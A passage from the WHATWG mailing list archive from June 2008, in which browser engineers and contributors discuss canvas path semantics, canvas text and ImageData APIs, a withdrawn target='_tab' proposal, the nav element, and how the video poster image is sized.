 context.translate(100,100)
 context.rect(0,0,10,10)
 //context.restore()
 context.fill()

Similarly the following:

 context.beginPath();
 context.translate(100,100)
 context.rect(0,0,10,10)
 context.translate(-100,-100)
 context.fill()

...must render the same as:

 context.beginPath();
 context.translate(100,100)
 context.rect(0,0,10,10)
 //context.translate(-100,-100)
 context.fill()

Thus the two examples you give must both render the same as:

 context.beginPath();
 context.translate(100,100)
 context.rect(0,0,10,10)
 context.fill()

...which is the same as:

 context.beginPath();
 context.rect(100,100,10,10)
 context.fill()

...which is the same as:

 context.fillRect(100,100,10,10)

...so Opera is wrong.

HTH,
-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From oliver at apple.com  Thu Jun 12 20:05:46 2008
From: oliver at apple.com (Oliver Hunt)
Date: Thu, 12 Jun 2008 20:05:46 -0700
Subject: [whatwg] Canvas ath construction over save/restore boundaries
In-Reply-To: <Pine.LNX.4.62.0806122239000.8559@hixie.dreamhostps.com>
References: <14FF732C-77EB-48E9-A435-F67E340B4B68@apple.com>
	<Pine.LNX.4.62.0806122239000.8559@hixie.dreamhostps.com>
Message-ID: <50EDE387-C3F8-4DBB-BE2B-7BF67EA8981C@apple.com>


On Jun 12, 2008, at 3:47 PM, Ian Hickson wrote:

> On Fri, 7 Mar 2008, Oliver Hunt wrote:
>>
>> Hi all, while working on a bug in our canvas implementation I've  
>> noticed
>> that there's a difference in behaviour between Opera and Firefox when
>> ...
<Removing a vast rambing initial email from myself>

> ...so Opera is wrong.

Yeah I came to that conclusion and webkit now matches that behaviour  
*sigh*

We really need a separate path object :-/


--Oliver

>
>
> HTH,
> -- 
> Ian Hickson               U+1047E                ) 
> \._.,--....,'``.    fL
> http://ln.hixie.ch/       U+263A                /,   _.. \   _ 
> \  ;`._ ,.
> Things that are impossible just take longer.   `._.-(,_..'-- 
> (,_..'`-.;.'



From borekbe at yahoo.co.uk  Thu Jun 12 23:30:02 2008
From: borekbe at yahoo.co.uk (Borek Bernard)
Date: Fri, 13 Jun 2008 06:30:02 +0000 (GMT)
Subject: [whatwg] Proposal: target="_tab"
Message-ID: <274491.49551.qm@web25907.mail.ukl.yahoo.com>

Hi Jo?o,

you're right that everything important has been already said. I have withdrawn this proposal because it has been pointed out that it is not backwards compatible and the correct solution will be part of CSS3 anyway (which is much more flexible - we will have not only target-new, but also target-position; I guess you strongly dislike both of them).

But the discussion has been interesting anyway. There is probably no point in carrying on because we see the problem from two different standpoints - you want to have the specs as "pure" as possible while I want them to be as flexible as possible so that it can accommodate any use case you can think of. I kind of understand why simpler standards are better than the longer ones but on the other hand, the lack of "_tab" or something similar makes my user experience on some websites suboptimal (heck, even frustrating sometimes). If you can't appreciate that different users can have different user preferences ("I can't honestly come up with a single reason why a webpage should open a new window instead of tab"), you will probably have hard times understanding my points. But your view is quite common as I've learned :)

Regards,
Borek



----- Original Message ----
From: Jo?o Eiras <joao.eiras at gmail.com>
To: Borek Bernard <borekbe at yahoo.co.uk>; whatwg at lists.whatwg.org
Sent: Thursday, 12 June, 2008 7:17:19 PM
Subject: Re: [whatwg] Proposal: target="_tab"

Hi ! I didn't saw that reply.

> I'm not sure why you keep insisting that it's up to the browser -- IMO, it's
> up to the USER.

You're not understanding me:
when I say browser, obviously I mean client, client-side, browser,
user or whatever you want to call it, as opposed to web application or
server-side

> Also, having means to open new tabs as opposed to new windows in the specs
> is nothing against the user preference, in fact, it helps to express the
> user preference if the browser fails to provide it.

Then we're going to bloat a specification due to browser idiosyncrasies ?
Allowing a page to control such behavior would be bad. Currently
browsers with tabbed interface manage to unclutter the taskbar and
desktop, while aggregate pages inside a single window, which is
overall good for the user's experience, good for performance, good
usability.

We'd be providing a mechanism that is not backwards compatible with
the current state of the art user agents, although we've seen that new
features heavily demanded get implemented quickly, and we'd be
providing, again, authors with mechanism to degrade the user's
experience.

I can't honestly come up with a single reason why a webpage should
open a new window instead of tab. All use cases you can come up fit
better if new tabs are open. If you don't like the fact that a tab
fits the entire window, you can either detach it, your use a user
agent that support MDI interface.

With all this say now your going to tell me I'm contradicting myself
by supporting windows now. No, you'd be wrong. I'd expect a browser to
always open tabs if there's a _blank target. Having _target and_tab
would require UA's to support two different way of opening new pages:
tabbed and detached ones.

For me it's all a matter of letting the user control the web page.

Considering this discussion is still going to last a bit, and
everything significant that could be said by me and others was said, I
rest my case.

Cheers.


2008/6/12 Kristof Zelechovski <giecrilj at stegny.2a.pl>:
> Programmatically controlling the containment of a new window is a two-edged
> sword: you can provide for the lame user agent but you can also override
> user settings.  The latter possibility is more painful; upgrading the
> browser is easier than dealing with an impertinent Web site.
> IMHO,
> Chris
> P.S.: If you want your answer to go to Jo?o only, just send it exclusively
> to him.
>
> -----Original Message-----
> From: Borek Bernard [mailto:borekbe at yahoo.co.uk]
> Sent: Thursday, June 12, 2008 11:25 AM
> To: Joao Eiras; Kristof Zelechovski; Ian Hickson; whatwg at lists.whatwg.org
> Subject: Re: [whatwg] Proposal: target="_tab"
>
> Hi Jo?o,
>
> I'm not sure why you keep insisting that it's up to the browser -- IMO, it's
> up to the USER. Please read all my arguments before, it's not true that a
> user using a tabbed browser always prefers opening new tabs instead of new
> windows. That's just your user preference.
>
> Also, having means to open new tabs as opposed to new windows in the specs
> is nothing against the user preference, in fact, it helps to express the
> user preference if the browser fails to provide it.
>
>
>
>



      __________________________________________________________
Sent from Yahoo! Mail.
A Smarter Email http://uk.docs.yahoo.com/nowyoucan.html


From joao.eiras at gmail.com  Fri Jun 13 01:03:58 2008
From: joao.eiras at gmail.com (=?ISO-8859-1?Q?Jo=E3o_Eiras?=)
Date: Fri, 13 Jun 2008 09:03:58 +0100
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <274491.49551.qm@web25907.mail.ukl.yahoo.com>
References: <274491.49551.qm@web25907.mail.ukl.yahoo.com>
Message-ID: <e72b1b360806130103o3bc0e460i1927bd4fc01d255a@mail.gmail.com>

2008/6/13 Borek Bernard <borekbe at yahoo.co.uk>:
> Hi Jo?o,
>
> you're right that everything important has been already said. I
> have withdrawn this proposal because it has been pointed out that it
> is not backwards compatible and the correct solution will be part of
> CSS3 anyway (which is much more flexible - we will have not only
> target-new, but also target-position; I guess you strongly dislike
> both of them).

What's lovely about css, is that features like this can be easily
disabled with local stylesheet. Overriding _tab would requiring
running local script, which greater performance impact, and migh thave
unforseen consequences. So css gives greater control, with less
effort.

>
> But the discussion has been interesting anyway. There is probably no
> point in carrying on because we see the problem from two different
> standpoints - you want to have the specs as "pure" as possible while I
> want them to be as flexible as possible so that it can accommodate any
> use case you can think of.

It's not about being pure, it's about not giving more control to the
webpage than it should have. For a webpage running in a tab or
separate window is exactly the same thing.


> I kind of understand why simpler standards are better than the longer
> ones but on the other hand, the lack of "_tab" or something similar
> makes my user experience on some websites suboptimal (heck, even
> frustrating sometimes). If you can't appreciate that different users
> can have different user preferences ("I can't honestly come up with a
> single reason why a webpage should open a new window instead of tab"),

This is not a user preference. It's the complete opposite. The spec
would allow a user preference to be broken by spaning windows or tabs
accordingly to the webpage author's liking.
Historically, we've seen that giving webpage control over the user's
browser in someway can be abused: alert(), open(), oncontextmenu ...

> you will probably have hard times understanding my points. But your
> view is quite common as I've learned :)



> Regards,
> Borek
>
>
>
> ----- Original Message ----
> From: Jo?o Eiras <joao.eiras at gmail.com>
> To: Borek Bernard <borekbe at yahoo.co.uk>; whatwg at lists.whatwg.org
> Sent: Thursday, 12 June, 2008 7:17:19 PM
> Subject: Re: [whatwg] Proposal: target="_tab"
>
> Hi ! I didn't saw that reply.
>
>> I'm not sure why you keep insisting that it's up to the browser -- IMO, it's
>> up to the USER.
>
> You're not understanding me:
> when I say browser, obviously I mean client, client-side, browser,
> user or whatever you want to call it, as opposed to web application or
> server-side
>
>> Also, having means to open new tabs as opposed to new windows in the specs
>> is nothing against the user preference, in fact, it helps to express the
>> user preference if the browser fails to provide it.
>
> Then we're going to bloat a specification due to browser idiosyncrasies ?
> Allowing a page to control such behavior would be bad. Currently
> browsers with tabbed interface manage to unclutter the taskbar and
> desktop, while aggregate pages inside a single window, which is
> overall good for the user's experience, good for performance, good
> usability.
>
> We'd be providing a mechanism that is not backwards compatible with
> the current state of the art user agents, although we've seen that new
> features heavily demanded get implemented quickly, and we'd be
> providing, again, authors with mechanism to degrade the user's
> experience.
>
> I can't honestly come up with a single reason why a webpage should
> open a new window instead of tab. All use cases you can come up fit
> better if new tabs are open. If you don't like the fact that a tab
> fits the entire window, you can either detach it, your use a user
> agent that support MDI interface.
>
> With all this say now your going to tell me I'm contradicting myself
> by supporting windows now. No, you'd be wrong. I'd expect a browser to
> always open tabs if there's a _blank target. Having _target and_tab
> would require UA's to support two different way of opening new pages:
> tabbed and detached ones.
>
> For me it's all a matter of letting the user control the web page.
>
> Considering this discussion is still going to last a bit, and
> everything significant that could be said by me and others was said, I
> rest my case.
>
> Cheers.
>
>
> 2008/6/12 Kristof Zelechovski <giecrilj at stegny.2a.pl>:
>> Programmatically controlling the containment of a new window is a two-edged
>> sword: you can provide for the lame user agent but you can also override
>> user settings.  The latter possibility is more painful; upgrading the
>> browser is easier than dealing with an impertinent Web site.
>> IMHO,
>> Chris
>> P.S.: If you want your answer to go to Jo?o only, just send it exclusively
>> to him.
>>
>> -----Original Message-----
>> From: Borek Bernard [mailto:borekbe at yahoo.co.uk]
>> Sent: Thursday, June 12, 2008 11:25 AM
>> To: Joao Eiras; Kristof Zelechovski; Ian Hickson; whatwg at lists.whatwg.org
>> Subject: Re: [whatwg] Proposal: target="_tab"
>>
>> Hi Jo?o,
>>
>> I'm not sure why you keep insisting that it's up to the browser -- IMO, it's
>> up to the USER. Please read all my arguments before, it's not true that a
>> user using a tabbed browser always prefers opening new tabs instead of new
>> windows. That's just your user preference.
>>
>> Also, having means to open new tabs as opposed to new windows in the specs
>> is nothing against the user preference, in fact, it helps to express the
>> user preference if the browser fails to provide it.
>>
>>
>>
>>
>
>
>
>      __________________________________________________________
> Sent from Yahoo! Mail.
> A Smarter Email http://uk.docs.yahoo.com/nowyoucan.html
>


From mail at jorgenhorstink.nl  Fri Jun 13 01:17:57 2008
From: mail at jorgenhorstink.nl (Jorgen Horstink)
Date: Fri, 13 Jun 2008 10:17:57 +0200
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <e72b1b360806130103o3bc0e460i1927bd4fc01d255a@mail.gmail.com>
References: <274491.49551.qm@web25907.mail.ukl.yahoo.com>
	<e72b1b360806130103o3bc0e460i1927bd4fc01d255a@mail.gmail.com>
Message-ID: <0B0E4DAB-E397-4431-ACDD-D441E4B85755@jorgenhorstink.nl>

I've been following this discussion for a while and I agree a new  
'_tab' target is not necessary. To my mind _blank implies a new  
browser canvas. There are two implementations for creating a new  
canvas these days; a new window, or a new tab. The key question is:  
what does _blank mean? Does it only mean 'a new window'? Or does it  
mean 'a new canvas'? To my mind it means the latter.
I don't see why HTML should bother with user experience (new tab, or  
new window). This has more to do with style sheets (also this is  
arguably to my mind).

-jorgen

On Jun 13, 2008, at 10:03 AM, Jo?o Eiras wrote:

> 2008/6/13 Borek Bernard <borekbe at yahoo.co.uk>:
>> Hi Jo?o,
>>
>> you're right that everything important has been already said. I
>> have withdrawn this proposal because it has been pointed out that it
>> is not backwards compatible and the correct solution will be part of
>> CSS3 anyway (which is much more flexible - we will have not only
>> target-new, but also target-position; I guess you strongly dislike
>> both of them).
>
> What's lovely about css, is that features like this can be easily
> disabled with local stylesheet. Overriding _tab would requiring
> running local script, which greater performance impact, and migh thave
> unforseen consequences. So css gives greater control, with less
> effort.
>
>>
>> But the discussion has been interesting anyway. There is probably no
>> point in carrying on because we see the problem from two different
>> standpoints - you want to have the specs as "pure" as possible  
>> while I
>> want them to be as flexible as possible so that it can accommodate  
>> any
>> use case you can think of.
>
> It's not about being pure, it's about not giving more control to the
> webpage than it should have. For a webpage running in a tab or
> separate window is exactly the same thing.
>
>
>> I kind of understand why simpler standards are better than the longer
>> ones but on the other hand, the lack of "_tab" or something similar
>> makes my user experience on some websites suboptimal (heck, even
>> frustrating sometimes). If you can't appreciate that different users
>> can have different user preferences ("I can't honestly come up with a
>> single reason why a webpage should open a new window instead of  
>> tab"),
>
> This is not a user preference. It's the complete opposite. The spec
> would allow a user preference to be broken by spaning windows or tabs
> accordingly to the webpage author's liking.
> Historically, we've seen that giving webpage control over the user's
> browser in someway can be abused: alert(), open(), oncontextmenu ...
>
>> you will probably have hard times understanding my points. But your
>> view is quite common as I've learned :)
>
>
>
>> Regards,
>> Borek
>>
>>
>>
>> ----- Original Message ----
>> From: Jo?o Eiras <joao.eiras at gmail.com>
>> To: Borek Bernard <borekbe at yahoo.co.uk>; whatwg at lists.whatwg.org
>> Sent: Thursday, 12 June, 2008 7:17:19 PM
>> Subject: Re: [whatwg] Proposal: target="_tab"
>>
>> Hi ! I didn't saw that reply.
>>
>>> I'm not sure why you keep insisting that it's up to the browser --  
>>> IMO, it's
>>> up to the USER.
>>
>> You're not understanding me:
>> when I say browser, obviously I mean client, client-side, browser,
>> user or whatever you want to call it, as opposed to web application  
>> or
>> server-side
>>
>>> Also, having means to open new tabs as opposed to new windows in  
>>> the specs
>>> is nothing against the user preference, in fact, it helps to  
>>> express the
>>> user preference if the browser fails to provide it.
>>
>> Then we're going to bloat a specification due to browser  
>> idiosyncrasies ?
>> Allowing a page to control such behavior would be bad. Currently
>> browsers with tabbed interface manage to unclutter the taskbar and
>> desktop, while aggregate pages inside a single window, which is
>> overall good for the user's experience, good for performance, good
>> usability.
>>
>> We'd be providing a mechanism that is not backwards compatible with
>> the current state of the art user agents, although we've seen that  
>> new
>> features heavily demanded get implemented quickly, and we'd be
>> providing, again, authors with mechanism to degrade the user's
>> experience.
>>
>> I can't honestly come up with a single reason why a webpage should
>> open a new window instead of tab. All use cases you can come up fit
>> better if new tabs are open. If you don't like the fact that a tab
>> fits the entire window, you can either detach it, your use a user
>> agent that support MDI interface.
>>
>> With all this say now your going to tell me I'm contradicting myself
>> by supporting windows now. No, you'd be wrong. I'd expect a browser  
>> to
>> always open tabs if there's a _blank target. Having _target and_tab
>> would require UA's to support two different way of opening new pages:
>> tabbed and detached ones.
>>
>> For me it's all a matter of letting the user control the web page.
>>
>> Considering this discussion is still going to last a bit, and
>> everything significant that could be said by me and others was  
>> said, I
>> rest my case.
>>
>> Cheers.
>>
>>
>> 2008/6/12 Kristof Zelechovski <giecrilj at stegny.2a.pl>:
>>> Programmatically controlling the containment of a new window is a  
>>> two-edged
>>> sword: you can provide for the lame user agent but you can also  
>>> override
>>> user settings.  The latter possibility is more painful; upgrading  
>>> the
>>> browser is easier than dealing with an impertinent Web site.
>>> IMHO,
>>> Chris
>>> P.S.: If you want your answer to go to Jo?o only, just send it  
>>> exclusively
>>> to him.
>>>
>>> -----Original Message-----
>>> From: Borek Bernard [mailto:borekbe at yahoo.co.uk]
>>> Sent: Thursday, June 12, 2008 11:25 AM
>>> To: Joao Eiras; Kristof Zelechovski; Ian Hickson; whatwg at lists.whatwg.org
>>> Subject: Re: [whatwg] Proposal: target="_tab"
>>>
>>> Hi Jo?o,
>>>
>>> I'm not sure why you keep insisting that it's up to the browser --  
>>> IMO, it's
>>> up to the USER. Please read all my arguments before, it's not true  
>>> that a
>>> user using a tabbed browser always prefers opening new tabs  
>>> instead of new
>>> windows. That's just your user preference.
>>>
>>> Also, having means to open new tabs as opposed to new windows in  
>>> the specs
>>> is nothing against the user preference, in fact, it helps to  
>>> express the
>>> user preference if the browser fails to provide it.
>>>
>>>
>>>
>>>
>>
>>
>>
>>     __________________________________________________________
>> Sent from Yahoo! Mail.
>> A Smarter Email http://uk.docs.yahoo.com/nowyoucan.html
>>
>



From ian at hixie.ch  Fri Jun 13 01:38:53 2008
From: ian at hixie.ch (Ian Hickson)
Date: Fri, 13 Jun 2008 08:38:53 +0000 (UTC)
Subject: [whatwg] Text APIs on <canvas>
In-Reply-To: <4822C1AB.7000902@opera.com>
References: <Pine.LNX.4.62.0611151735330.28418@dhalsim.dreamhost.com>
	<4560F162.7060204@stefan-haustein.com>
	<Pine.LNX.4.62.0805020038260.21650@hixie.dreamhostps.com>
	<op.uasdo9g9yd8894@kossa.palace.opera.no>
	<Pine.LNX.4.62.0805071958410.9075@hixie.dreamhostps.com>
	<4822C1AB.7000902@opera.com>
Message-ID: <Pine.LNX.4.62.0806130831430.8559@hixie.dreamhostps.com>

On Thu, 8 May 2008, Mathieu HENRI wrote:
> > 
> > The idea is that only scalable (vector) fonts should be used, since 
> > otherwise things will quickly look ugly. I've made the spec require 
> > this.
> > 
> > Going forward the spec is likely to require effects such as adding 
> > text to paths, which will require vector data for all fonts used 
> > anyway. I don't want to mislead implementators into thinking bitmap 
> > fonts are in any way an option in this day and age.
> 
> The problem is that bitmap fonts flourish on handheld and devices and, 
> as mentioned by others, in high density alphabets. With the Text APIs 
> being a MUST, this can be a bugger.

This will improve over time, though. It's not like bitmap fonts are the 
solution people want, they're just the stopgap while systems improve to 
the point of being able to handle real fonts.


> Apropos context.fillText() and the maxWidth attribute, the spec now says
> 
> 	" 4. If the maxWidth argument was specified and the hypothetical 
> width of the inline box in the hypothetical line box is greater than 
> maxWidth CSS pixels, then change font to have a more condensed font (if 
> one is available or if a reasonably readable one can be synthesised by 
> applying a horizontal scale factor to the font) or a smaller font, and 
> return to the previous step. "
> 
> Scaling the glyphs uniformly, vertically anchored to the textBaseline, 
> would look much more coherent and be more predictable for developers 
> than applying a non-uniform scaling or changing the font altogether.
> 
> If possible I would loose the part about changing the font or applying 
> an horizontal scale factor to the font.

I think that slight condensing, if possible, looks much better than 
varying the font size slightly. At the moment, it's up to the UAs to 
decide what to do, though, so if implementations decide scaling is 
better, they are welcome to do that.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From mjs at apple.com  Fri Jun 13 01:43:56 2008
From: mjs at apple.com (Maciej Stachowiak)
Date: Fri, 13 Jun 2008 01:43:56 -0700
Subject: [whatwg] createImageData
In-Reply-To: <484DF430.4090807@sicking.cc>
References: <Pine.LNX.4.62.0611151735330.28418@dhalsim.dreamhost.com>
	<4560F162.7060204@stefan-haustein.com>
	<Pine.LNX.4.62.0805020038260.21650@hixie.dreamhostps.com>
	<0738FD12-AC1F-44C0-B731-2FF7C6084BDC@pobox.com>
	<Pine.LNX.4.62.0805100036080.23610@hixie.dreamhostps.com>
	<E5819C3D-698A-4AFC-9CD6-C0BDE670227F@pobox.com>
	<3A588C7C-DD91-495E-87F0-4FAAA2E60E71@pobox.com>
	<6D02C77F-6528-4032-8071-00CCF8D43B5C@apple.com>
	<0C3E377C-A5E4-4D7A-90A8-F97513B1CA1E@pobox.com>
	<B483364C-AA4F-405F-BDEB-4081071B43B9@apple.com>
	<3176995D-372E-4430-A2F6-0605E93123E8@pobox.com>
	<E31F35F6-366E-4680-81E7-72F6E07E1D9F@apple.com>
	<CE1AC749-12A0-4FD6-BF55-5B68032C018C@pobox.com>
	<B27A91CD-A9A8-4BA8-8A3B-F1802F5A1314@apple.com>
	<66629F5C-A66F-484E-AAF4-6618BF7AA574@pobox.com>
	<484DF430.4090807@sicking.cc>
Message-ID: <FA4E72B1-AC68-45F6-8BDB-5A4FE8A4E00C@apple.com>


On Jun 9, 2008, at 8:25 PM, Jonas Sicking wrote:

> Vladimir Vukicevic wrote:
>> Sorry it took me a bit to respond here... so, ok, based on the  
>> discussion, I'd suggest:
>> - user-created ImageData-like objects should be supported, e.g.  
>> with language such as:
>
> Do note that dealing with user-created objects isn't trivial. You  
> have to be prepared for dealing with the user-created object  
> changing the whole world under you during a callback, this includes  
> things like doing any modification to the canvas object itself, but  
> also things like script navigating away and then causing a GC to  
> tear down the world around you.
>
> This is usually not very hard to deal with, as long as you are not  
> deep inside a long callstack when calling out to content. This is  
> because you have to ensure that the whole callstack is ok with the  
> world changing around it.

As an additional note: inn implementations that support getters and  
setters, any property access to a user-created object may call back  
into arbitrary JS code. Even in those that do not, a toNumber  
conversion of an arbitrary JS value may call back into arbitrary JS  
code.

Regards,
Maciej



From jorgebg at tagpoint.es  Fri Jun 13 01:58:56 2008
From: jorgebg at tagpoint.es (Jorge Bay Gondra)
Date: Fri, 13 Jun 2008 10:58:56 +0200
Subject: [whatwg] Fwd: nav Element
In-Reply-To: <a980f6160806120121r537a8c5cv7432cf82d8cdfde5@mail.gmail.com>
References: <a980f6160806120121r537a8c5cv7432cf82d8cdfde5@mail.gmail.com>
Message-ID: <a980f6160806130158l167d4f00t490a955c0e1f4d13@mail.gmail.com>

To the correct list this time...

---------- Forwarded message ----------
From: Jorge Bay Gondra <jorgebg at tagpoint.es>
Date: 2008/6/12
Subject: nav Element
To: whatwg at whatwg.org


Hi to all,
About the nav element:
I was trying to imaging how it would be to build a site, and I realized
that, in the case of site with 2 nav bars (typically 2 sidebars) there's not
a way to specify which is the "main" sidebar and which is accessory...
What do you think about specifying hierarchy for navs elements?

Regards to all!
Jorge

Note: In the nav sample (
http://www.whatwg.org/specs/web-apps/current-work/multipage/the-root.html#the-nav)
that includes several places with links, should be a good idea that the
header and footer list of links have to be represented in an unordered list
ul..., and not in a paragraph (!?), do you agree?



-- 
Jorge Bay Gondra
www.tagpoint.es
Tel: 918283482
Movil: 628760491
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080613/da98e608/attachment-0001.htm>

From ian at hixie.ch  Fri Jun 13 02:01:50 2008
From: ian at hixie.ch (Ian Hickson)
Date: Fri, 13 Jun 2008 09:01:50 +0000 (UTC)
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <11e306600806111459u2dbe32e3v2743009c956f45a4@mail.gmail.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com> 
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
	<E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com> 
	<11e306600806021519h55955cd2v99b8139cf9e949c6@mail.gmail.com> 
	<AFE6C8A6-00C0-4CA2-92DD-96EAA4886700@apple.com> 
	<82c3f5040806030709n7a2317dcxa66a358b7969161e@mail.gmail.com> 
	<Pine.LNX.4.62.0806111017060.8559@hixie.dreamhostps.com>
	<11e306600806111459u2dbe32e3v2743009c956f45a4@mail.gmail.com>
Message-ID: <Pine.LNX.4.62.0806130900370.8559@hixie.dreamhostps.com>

On Thu, 12 Jun 2008, Robert O'Callahan wrote:
> On Wed, Jun 11, 2008 at 10:34 PM, Ian Hickson <ian at hixie.ch> wrote:
> 
> > Why not just have the UA run in a high quality mode the first time it 
> > is painted on, but if the script tries to paint again within a certain 
> > amount of time, switch to high speed?
> >
> 
> This makes sense.
> 
> However, there is still a potential use case for speed vs quality hints: 
> when the author wants to treat some content on the page as visually more 
> important than other content. For example, you might have a gallery page 
> with a bunch of unimportant bling around the actual image/canvas you 
> care about.
> 
> I'm unsure whether that's realistic enough to justify supporting hints.

I think we should put off adding a feature to handle that case until we've 
got a site that would actually benefit from it.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From ian at hixie.ch  Fri Jun 13 02:09:33 2008
From: ian at hixie.ch (Ian Hickson)
Date: Fri, 13 Jun 2008 09:09:33 +0000 (UTC)
Subject: [whatwg] are relative values of CanvasRenderingContext2D.font
 live	to style	changes?
In-Reply-To: <20080612215846.GA6679@pickering.dbaron.org>
References: <20080612215846.GA6679@pickering.dbaron.org>
Message-ID: <Pine.LNX.4.62.0806130908360.8559@hixie.dreamhostps.com>

On Thu, 12 Jun 2008, L. David Baron wrote:
>
> I'm looking at
> http://www.whatwg.org/specs/web-apps/current-work/multipage/the-canvas.html#text
> which currently says:
>   # When the 'font-size' component is set to lengths using
>   # percentages, 'em' or 'ex' units, or the 'larger' or 'smaller'
>   # keywords, these must be interpreted relative to the computed
>   # value of the 'font-size' property of the corresponding canvas
>   # element. When the 'font-weight' component is set to the relative
>   # values 'bolder' and 'lighter', these must be interpreted
>   # relative to the computed value of the 'font-weight' property of
>   # the corresponding canvas element. If the computed values are
>   # undefined for a particular case (e.g. because the canvas element
>   # is not in a document), then the relative keywords must be
>   # interpreted relative to the normal-weight 10px sans-serif
>   # default. 
> 
> Suppose that the computed style of the corresponding canvas element
> changes between when the font DOM attribute is set and text is
> drawn.  Based on the text above, it's not clear to me whether values
> like '1em' or 'lighter' should be relative to the canvas's values at
> the time the font is set or the time the text is drawn.
>
> [...]
> 
> I'd prefer if it were static, because for Mozilla, we'd either have to 
> add new infrastructure to handle dynamic style changes for elements 
> inside something that's display:none or we'd have to recompute the style 
> for every text operation (probably the latter).

It is now explicitly static. (Also changed for 'currentColor'.)

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From giecrilj at stegny.2a.pl  Fri Jun 13 02:14:27 2008
From: giecrilj at stegny.2a.pl (=?US-ASCII?Q?Kristof_Zelechovski?=)
Date: Fri, 13 Jun 2008 11:14:27 +0200
Subject: [whatwg] Some media element details
In-Reply-To: <Pine.LNX.4.62.0806120028330.8559@hixie.dreamhostps.com>
References: <8344104F-7ED2-46A5-A149-CBB60107E318@apple.com><Pine.LNX.4.62.0805150155350.12911@hixie.dreamhostps.com><FA54794E-BA4F-491B-A817-2DEF9F44E05D@apple.com>
	<Pine.LNX.4.62.0806120028330.8559@hixie.dreamhostps.com>
Message-ID: <7A18D3A5F5814F16B78C29F738C61F8E@POCZTOWIEC>

The _function_ performed by the play/pause button is reciprocally
correlated; OTOH, its _interactivity_ (whether enabled) can be related to
playback state.  Not that I like this overprotective design.
HTH,
Chris

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Ian Hickson
Sent: Thursday, June 12, 2008 2:36 AM
To: Antti Koivisto
Cc: whatwg at whatwg.org
Subject: Re: [whatwg] Some media element details


The state of a play/pause button is definitely not correlated to the 
playback state. It's correlated to the "paused" boolean.






From ian at hixie.ch  Fri Jun 13 02:26:56 2008
From: ian at hixie.ch (Ian Hickson)
Date: Fri, 13 Jun 2008 09:26:56 +0000 (UTC)
Subject: [whatwg] Interpretation of video poster attribute
In-Reply-To: <op.ucmx46d3idj3kv@zcorpandell.linkoping.osa>
References: <1212496617.24802.6.camel@nog.bredbandsbolaget.se>
	<dd0fbad0806030759m789af621qa3fe21493bdb3b66@mail.gmail.com>
	<dd0fbad0806030800n22c76bf3n180f1048f13b2154@mail.gmail.com>
	<1213027282.6676.43.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120547220.8559@hixie.dreamhostps.com>
	<1213257494.6562.56.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120944040.8559@hixie.dreamhostps.com>
	<1213267003.6562.87.camel@nog.bredbandsbolaget.se>
	<c2e346f90806120422r1def400fpf5349b3129f7eecc@mail.gmail.com>
	<op.ucmx46d3idj3kv@zcorpandell.linkoping.osa>
Message-ID: <Pine.LNX.4.62.0806130915530.8559@hixie.dreamhostps.com>

On Thu, 12 Jun 2008, Philip J?genstedt wrote:
> 
> <video poster="image_of_unknown_dimension" 
> src="video_of_unknown_but_same_dimension"></video>
> 
> This is a probable and reasonable scenario, but currently it's 
> impossible to use a poster image without knowing its dimensions.

It's not impossible; first black would render 300x150, then the poster 
would render in that same 300x150 box, and then when the video comes in, 
the box would grow to fit the video and the video would render in that 
box. The poster works fine, it just doesn't size the video box to itself.

How often will the poster be the right size?

I suppose we could require the poster to be the same size as the video if 
the height/width attributes are absent.


> > > That the element may be resized twice is not a problem, at least not 
> > > implementation-wise.
> > 
> > That it's resized at all is a terrible problem; that it would resize 
> > twice would be a disaster, UI-wise.
> 
> Since the poster image will only be displayed until the video starts 
> playing, the options when width/height is not given are:
> 
> 1. the poster image is displayed at size 300x150 for several seconds 
> while the video is loading, after which the video element takes the size 
> of the video
> 
> 2. the poster image is displayed at its native size for several seconds 
> while the video is loading, after which the video element takes the size 
> of the video (which will often be the same size)
> 
> Since a resize is possible in both cases (but less likely in case 2)
> both are equally problematic UI-wise, except that the image will
> actually be displayed with its correct dimensions in case 2.

Both cases will start at 300x150 until the poster frame is downloaded. The 
question is whether we get one resize or two.


> This is just to provide sane defaults for authors who trust the browser 
> to do the right things in absence of width/height. Safari already uses 
> the intrinsic dimensions of the poster image and then resizes to the 
> intrinsic dimensions of the video, which is exactly the behavior we want 
> to implement.

On Thu, 12 Jun 2008, Chris Double wrote:
> 
> This is the behaviour I was planning to implement for poster too btw. As 
> a user of the video element it seemed the most logical to me.

Fine, fine, I'll spec that. :-)


Note that this all falls apart if there are multiple videos of different 
dimensions, or if the video has a pixel ratio set.


> In the absence of a poster attribute does Safari load the first frame of 
> the video and display that? I seem to recall it did when using a 
> quicktime movie but not with a Theora movie using the XiphQT plugin. Is 
> displaying the first frame of the video something that's useful? In the 
> Firefox implementation I display the first frame, but I should be 
> displaying nothing, right?

When a video element is paused and the current playback position is the 
first frame of video, the element represents either the frame of video 
corresponding to the current playback position or the image given by the 
poster attribute, at the discretion of the user agent.


Cheers,
-- 
